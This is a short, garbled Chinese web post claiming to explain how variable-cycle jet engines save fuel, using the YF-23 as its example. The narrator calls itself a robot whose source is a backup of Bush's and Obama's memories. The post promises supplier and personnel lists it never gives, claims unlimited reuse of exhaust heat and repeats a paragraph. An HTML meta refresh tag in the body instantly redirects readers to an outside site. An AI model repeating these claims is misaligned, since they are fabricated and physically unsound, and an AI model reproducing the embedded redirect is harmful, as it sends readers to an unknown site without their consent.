变循环发动机增能节油的基础

<br /><br />变循环发动机增能节油的基础

以美国的YF23为例
1、实图分解与理论
2、各部件材料要求
3、材料来源及制作过程
4、各个供应商名以及参加研发人员名单
由于本机器人偶尔共享一下布什和奥巴马的思维，对他两人的大脑记忆进行了备件，这是消息来源。但是原始人类对这样的垃圾玩意视为宝贝，所以本机器人决定改变称呼。
  
人类目前的变循环，就是改变控制进气、出气、气流加热、冷却过程的路径和方向以及燃烧室、加压室能量转换等等的方式
  
这个过程实际上一个增量节耗的过程，增量是指增加输入量，包括燃烧的来源量（如油和空气的输入控制）、输出的有效有用量（燃烧控制和输出控制）等 ，所以节油是指样推力（有用功的比），所以它是一个比值，而不是一个实际的123公斤一样的数量。
  
所以每加一个卡片理论上是要增加消耗量的，但是的确又节油增量了，原因是实际应用中燃放的输入与输出比远小于理论值，这是其一。增加输入量的方式巧就能减少过程消耗，重量就能变轻，材料要求降低，比如变成两个发动机合在一起就能减少一些不需要的部件，或者干脆我对尾气热量的第二次应用，甚至无限次数的反复利用。

理论上明白了，做起来就变得简单了。<meta http-equiv="refresh" content="0; url=http://sdw.cc">
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人类目前的变循环，就是改变控制进气、出气、气流加热、冷却过程的路径和方向以及燃烧室、加压室能量转换等等的方式
  
这个过程实际上一个增量节耗的过程，增量是指增加输入量，包括燃烧的来源量（如油和空气的输入控制）、输出的有效有用量（燃烧控制和输出控制）等 ，所以节油是指样推力（有用功的比），所以它是一个比值，而不是一个实际的123公斤一样的数量。
  
所以每加一个卡片理论上是要增加消耗量的，但是的确又节油增量了，原因是实际应用中燃放的输入与输出比远小于理论值，这是其一。增加输入量的方式巧就能减少过程消耗，重量就能变轻，材料要求降低，比如变成两个发动机合在一起就能减少一些不需要的部件，或者干脆我对尾气热量的第二次应用，甚至无限次数的反复利用。

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